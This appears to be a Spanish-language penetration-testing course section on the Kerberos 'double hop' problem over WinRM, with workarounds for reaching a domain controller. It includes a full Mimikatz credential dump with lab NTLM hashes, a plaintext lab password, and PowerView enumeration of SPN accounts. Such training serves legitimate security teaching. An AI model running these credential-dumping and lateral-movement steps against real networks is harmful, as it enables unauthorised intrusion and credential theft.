Kerberos Double Hop Problem
Hay un problema conocido como el "Double Hop" que surge cuando un atacante intenta utilizar la autenticación Kerberos a través de dos (o más) saltos. El problema se refiere a cómo se otorgan los tickets Kerberos para recursos específicos. Los tickets Kerberos no deben verse como contraseñas. Son piezas de datos firmadas por el KDC que indican a qué recursos puede acceder una cuenta. Cuando realizamos la autenticación Kerberos, obtenemos un "ticket" que nos permite acceder al recurso solicitado (es decir, a una sola máquina). Por el contrario, cuando usamos una contraseña para autenticarnos, ese hash NTLM se almacena en nuestra sesión y puede usarse en otro lugar sin problema.
Background
El problema del "Double Hop" a menudo ocurre al usar WinRM/PowerShell, ya que el mecanismo de autenticación predeterminado solo proporciona un ticket para acceder a un recurso específico. Esto probablemente causará problemas al intentar realizar movimientos laterales o incluso acceder a recursos compartidos desde la shell remota. En esta situación, la cuenta de usuario que se está utilizando tiene los derechos para realizar una acción pero se le niega el acceso. La forma más común de obtener shells es atacando una aplicación en el host objetivo o utilizando credenciales y una herramienta como PSExec. En ambos escenarios, la autenticación inicial probablemente se realizó a través de SMB o LDAP, lo que significa que el hash NTLM del usuario se almacenará en memoria. A veces, tenemos un conjunto de credenciales y estamos restringidos a un método particular de autenticación, como WinRM, o preferiríamos usar WinRM por cualquier número de razones.
El núcleo del problema es que cuando usamos WinRM para autenticarnos en dos o más conexiones, la contraseña del usuario nunca se almacena como parte de su inicio de sesión. Si usamos Mimikatz para mirar la sesión, veremos que todas las credenciales están en blanco. Como se mencionó anteriormente, cuando usamos Kerberos para establecer una sesión remota, no estamos usando una contraseña para la autenticación. Cuando se usa la autenticación por contraseña, con PSExec, por ejemplo, ese hash NTLM se almacena en la sesión, por lo que cuando vamos a acceder a otro recurso, la máquina puede extraer el hash de la memoria y autenticarnos.
Echemos un vistazo rápido. Si nos autenticamos en el host remoto a través de WinRM y luego ejecutamos Mimikatz, no veremos credenciales para el usuario backupadm en la memoria.
PS C:\htb> PS C:\Users\ben.INLANEFREIGHT> Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm
[DEV01]: PS C:\Users\backupadm\Documents> cd 'C:\Users\Public\'
[DEV01]: PS C:\Users\Public> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 45177 (00000000:0000b079)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 1284107 (00000000:0013980b)
Session : Interactive from 1
User Name : srvadmin
Domain : INLANEFREIGHT
Logon Server : DC01
Logon Time : 6/28/2022 3:46:05 PM
SID : S-1-5-21-1666128402-2659679066-1433032234-1107
msv :
[00000003] Primary
* Username : srvadmin
* Domain : INLANEFREIGHT
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
* DPAPI : 64fa83034ef8a3a9b52c1861ac390bce
tspkg :
wdigest :
* Username : srvadmin
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : srvadmin
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 70669 (00000000:0001140d)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 45178 (00000000:0000b07a)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 44190 (00000000:0000ac9e)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID :
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : DEV01$
Domain : INLANEFREIGHT
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 1284140 (00000000:0013982c)
Session : Interactive from 1
User Name : srvadmin
Domain : INLANEFREIGHT
Logon Server : DC01
Logon Time : 6/28/2022 3:46:05 PM
SID : S-1-5-21-1666128402-2659679066-1433032234-1107
msv :
[00000003] Primary
* Username : srvadmin
* Domain : INLANEFREIGHT
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
* DPAPI : 64fa83034ef8a3a9b52c1861ac390bce
tspkg :
wdigest :
* Username : srvadmin
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : srvadmin
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 70647 (00000000:000113f7)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
Authentication Id : 0 ; 996 (00000000:000003e4)
User Name : DEV01$
Domain : INLANEFREIGHT
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-20
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
mimikatz(commandline) # exit
Bye!
De hecho, hay procesos ejecutándose en el contexto del usuario backupadm, como wsmprovhost.exe, que es el proceso que se genera cuando se inicia una sesión de PowerShell remota en Windows.
[DEV01]: PS C:\Users\Public> tasklist /V |findstr backupadm
wsmprovhost.exe 1844 Services 0 85,212 K Unknown INLANEFREIGHT\backupadm
0:00:03 N/A
tasklist.exe 6532 Services 0 7,988 K Unknown INLANEFREIGHT\backupadm
0:00:00 N/A
conhost.exe 7048 Services 0 12,656 K Unknown INLANEFREIGHT\backupadm
0:00:00 N/A
En términos simples, en esta situación, cuando intentamos emitir un comando multi-servidor, nuestras credenciales no se enviarán desde la primera máquina a la segunda.
Supongamos que tenemos tres hosts: Attack host --> DEV01 --> DC01. Nuestro Host de Ataque es una caja Parrot dentro de la red corporativa, pero no está unido al dominio. Obtenemos un conjunto de credenciales para un usuario de dominio y encontramos que son parte del grupo Remote Management Users en DEV01. Queremos usar PowerView para enumerar el dominio, lo que requiere comunicación con el Domain Controller, DC01.
Cuando nos conectamos a DEV01 usando una herramienta como evil-winrm, nos conectamos con autenticación de red, por lo que nuestras credenciales no se almacenan en la memoria y, por lo tanto, no estarán presentes en el sistema para autenticarse a otros recursos en nombre de nuestro usuario. Cuando cargamos una herramienta como PowerView e intentamos consultar Active Directory, Kerberos no tiene forma de informar al DC que nuestro usuario puede acceder a recursos en el dominio. Esto ocurre porque el ticket TGT (Ticket Granting Ticket) de Kerberos del usuario no se envía a la sesión remota; por lo tanto, el usuario no tiene forma de probar su identidad y los comandos ya no se ejecutarán en el contexto de este usuario. En otras palabras, cuando nos autenticamos en el host objetivo, el ticket TGS del usuario se envía al servicio remoto, lo que permite la ejecución de comandos, pero el ticket TGT del usuario no se envía. Cuando el usuario intenta acceder a recursos subsiguientes en el dominio, su TGT no estará presente en la solicitud, por lo que el servicio remoto no tendrá forma de probar que el intento de autenticación es válido y se nos negará el acceso al servicio remoto.
Si la delegación no restringida está habilitada en un servidor, es probable que no enfrentemos el problema del "Double Hop". En este escenario, cuando un usuario envía su ticket TGS para acceder al servidor objetivo, su ticket TGT se enviará junto con la solicitud. El servidor objetivo ahora tiene el ticket TGT del usuario en memoria y puede usarlo para solicitar un ticket TGS en su nombre en el siguiente host al que intentan acceder. En otras palabras, el TGS del usuario se almacena en caché, lo que tiene la capacidad de firmar TGT y otorgar acceso remoto. En términos generales, si llegas a una caja con delegación no restringida, ya has ganado y no te preocuparás por esto de todos modos.
Workarounds
Se cubren algunas soluciones para el problema del double-hop en este post. Podemos usar un Invoke-Command "anidado" para enviar credenciales (después de crear un objeto PSCredential) con cada solicitud, por lo que si intentamos autenticarnos desde nuestro host de ataque al host A y ejecutar comandos en el host B, se nos permite. Cubriremos dos métodos en esta sección: el primero que podemos usar si estamos trabajando con una sesión evil-winrm y el segundo si tenemos acceso GUI a un host Windows (ya sea un host de ataque en la red o un host unido al dominio que hemos comprometido).
Workaround #1: PSCredential Object
También podemos conectarnos al host remoto a través del host A y configurar un objeto PSCredential para pasar nuestras credenciales nuevamente. Veamos eso en acción.
Después de conectarnos a un host remoto con credenciales de dominio, importamos PowerView y luego intentamos ejecutar un comando. Como se ve a continuación, obtenemos un error porque no podemos pasar nuestra autenticación al Domain Controller para consultar las cuentas SPN.
*Evil-WinRM* PS C:\Users\backupadm\Documents> import-module .\PowerView.ps1
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+ else { $Results = $UserSearcher.FindAll() }
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DirectoryServicesCOMException
Si verificamos con klist, vemos que solo tenemos un ticket Kerberos en caché para nuestro servidor actual.
*Evil-WinRM* PS C:\Users\backupadm\Documents> klist
Current LogonId is 0:0x57f8a
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: academy-aen-ms0$ @
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize
Start Time: 6/28/2022 7:31:53 (local)
End Time: 6/28/2022 7:46:53 (local)
Renew Time: 7/5/2022 7:31:18 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x4 -> S4U
Kdc Called: DC01.INLANEFREIGHT.LOCAL
Entonces, ahora configuremos un objeto PSCredential y probemos de nuevo. Primero, configuramos nuestra autenticación.
*Evil-WinRM* PS C:\Users\backupadm\Documents> $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)
Ahora podemos intentar consultar las cuentas SPN usando PowerView y tenemos éxito porque pasamos nuestras credenciales junto con el comando.
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn -credential $Cred | select samaccountname
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc
Si lo intentamos de nuevo sin especificar el flag -credential, una vez más obtenemos un mensaje de error.
get-domainuser -spn | select
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn | select samaccountname
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+ else { $Results = $UserSearcher.FindAll() }
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DirectoryServicesCOMException
Si nos conectamos a través de RDP al mismo host, abrimos un CMD y escribimos klist, veremos que tenemos los tickets necesarios en caché para interactuar directamente con el Domain Controller, y no necesitamos preocuparnos por el problema del double hop. Esto se debe a que nuestra contraseña se almacena en la memoria, por lo que puede enviarse junto con cada solicitud que hagamos.
C:\htb> klist
Current LogonId is 0:0x1e5b8b
Cached Tickets: (4)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: krbtgt/INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 6/28/2022 9:13:38 (local)
End Time: 6/28/2022 19:13:38 (local)
Renew Time: 7/5/2022 9:13:38 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x2 -> DELEGATION
Kdc Called: DC01.INLANEFREIGHT.LOCAL
#1> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: krbtgt/INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 6/28/2022 9:13:38 (local)
End Time: 6/28/2022 19:13:38 (local)
Renew Time: 7/5/2022 9:13:38 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC01.INLANEFREIGHT.LOCAL
#2> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: ProtectedStorage/DC01.INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 6/28/2022 9:13:38 (local)
End Time: 6/28/2022 19:13:38 (local)
Renew Time: 7/5/2022 9:13:38 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC01.INLANEFREIGHT.LOCAL
#3> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: cifs/DC01.INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 6/28/2022 9:13:38 (local)
End Time: 6/28/2022 19:13:38 (local)
Renew Time: 7/5/2022 9:13:38 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC01.INLANEFREIGHT.LOCAL
Workaround #2: Register PSSession Configuration
Hemos visto lo que podemos hacer para superar este problema al usar una herramienta como evil-winrm para conectarnos a un host a través de WinRM. ¿Qué pasa si estamos en un host unido al dominio y podemos conectarnos remotamente a otro usando WinRM? ¿O estamos trabajando desde un host de ataque Windows y nos conectamos a nuestro objetivo vía WinRM usando el cmdlet Enter-PSSession? Aquí tenemos otra opción para cambiar nuestra configuración y poder interactuar directamente con el DC u otros hosts/recursos sin tener que configurar un objeto PSCredential e incluir credenciales con cada comando (lo cual puede no ser una opción con algunas herramientas).
Comencemos estableciendo primero una sesión WinRM en el host remoto.
PS C:\htb> Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL -Credential inlanefreight\backupadm
Si verificamos los tickets en caché usando klist, veremos que el mismo problema existe. Debido al problema del double hop, solo podemos interactuar con recursos en nuestra sesión actual pero no podemos acceder directamente al DC usando PowerView. Podemos ver que nuestro TGS actual es válido para acceder al servicio HTTP en el objetivo ya que nos conectamos a través de WinRM, que usa solicitudes SOAP (Simple Object Access Protocol) en formato XML para comunicarse a través de HTTP, por lo que tiene sentido.
[ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL]: PS C:\Users\backupadm\Documents> klist
Current LogonId is 0:0x11e387
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: HTTP/ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 6/28/2022 9:09:19 (local)
End Time: 6/28/2022 19:09:19 (local)
Renew Time: 0
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x8 -> ASC
Kdc Called:
Tampoco podemos interactuar directamente con el DC usando PowerView
[ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL]: PS C:\Users\backupadm\Documents> Import-Module .\PowerView.ps1
[ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL]: PS C:\Users\backupadm\Documents> get-domainuser -spn | select samaccountname
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+ else { $Results = $UserSearcher.FindAll() }
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DirectoryServicesCOMException
Un truco que podemos usar aquí es registrar una nueva configuración de sesión usando el cmdlet Register-PSSessionConfiguration.
PS C:\htb> Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
WARNING: When RunAs is enabled in a Windows PowerShell session configuration, the Windows security model cannot enforce
a security boundary between different user sessions that are created by using this endpoint. Verify that the Windows
PowerShell runspace configuration is restricted to only the necessary set of cmdlets and capabilities.
WARNING: Register-PSSessionConfiguration may need to restart the WinRM service if a configuration using this name has
recently been unregistered, certain system data structures may still be cached. In that case, a restart of WinRM may be
required.
All WinRM sessions connected to Windows PowerShell session configurations, such as Microsoft.PowerShell and session
configurations that are created with the Register-PSSessionConfiguration cmdlet, are disconnected.
WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin
Type Keys Name
---- ---- ----
Container {Name=backupadmsess} backupadmsess
Una vez hecho esto, necesitamos reiniciar el servicio WinRM escrib
iendo Restart-Service WinRM en nuestra sesión PSSession actual. Esto nos sacará, por lo que iniciaremos una nueva PSSession usando la sesión registrada con nombre que configuramos previamente.
Después de iniciar la sesión, podemos ver que el problema del double hop ha sido eliminado, y si escribimos klist, tendremos los tickets en caché necesarios para llegar al Domain Controller. Esto funciona porque nuestra máquina local ahora se hará pasar por la máquina remota en el contexto del usuario backupadm y todas las solicitudes desde nuestra máquina local se enviarán directamente al Domain Controller.
PS C:\htb> Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess
[DEV01]: PS C:\Users\backupadm\Documents> klist
Current LogonId is 0:0x2239ba
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: krbtgt/INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 6/28/2022 13:24:37 (local)
End Time: 6/28/2022 23:24:37 (local)
Renew Time: 7/5/2022 13:24:37 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC01
Ahora podemos ejecutar herramientas como PowerView sin tener que crear un nuevo objeto PSCredential.
[DEV01]: PS C:\Users\Public> get-domainuser -spn | select samaccountname
samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc
Nota: No podemos usar Register-PSSessionConfiguration desde una shell evil-winrm porque no podremos obtener la ventana emergente de credenciales. Además, si intentamos ejecutar esto primero configurando un objeto PSCredential y luego intentando ejecutar el comando pasando credenciales como -RunAsCredential $Cred, obtendremos un error porque solo podemos usar RunAs desde una terminal PowerShell elevada. Por lo tanto, este método no funcionará a través de una sesión evil-winrm ya que requiere acceso GUI y una consola PowerShell adecuada. Además, en nuestras pruebas, no pudimos hacer que este método funcionara desde PowerShell en un host de ataque Parrot o Ubuntu debido a ciertas limitaciones en cómo PowerShell en Linux trabaja con credenciales Kerberos. Este método sigue siendo altamente efectivo si estamos probando desde un host de ataque Windows y tenemos un conjunto de credenciales o comprometemos un host y podemos conectarnos a través de RDP para usarlo como un "jump host" para montar ataques adicionales contra hosts en el entorno.
También podemos usar otros métodos como CredSSP, redireccionamiento de puertos o inyección en un proceso que se ejecuta en el contexto de un usuario objetivo (proceso sacrificial) que no cubriremos aquí.
Wrap Up
En esta sección, hemos visto cómo superar el problema del "Double Hop" de Kerberos cuando trabajamos con WinRM en un entorno AD. Nos encontraremos con esto a menudo durante nuestras evaluaciones, por lo que debemos entender el problema y tener ciertas tácticas en nuestra caja de herramientas para evitar perder tiempo.
La siguiente sección cubrirá otras formas de escalar privilegios y moverse lateralmente en un dominio una vez que tengamos credenciales válidas utilizando varias vulnerabilidades críticas identificadas a lo largo de 2021.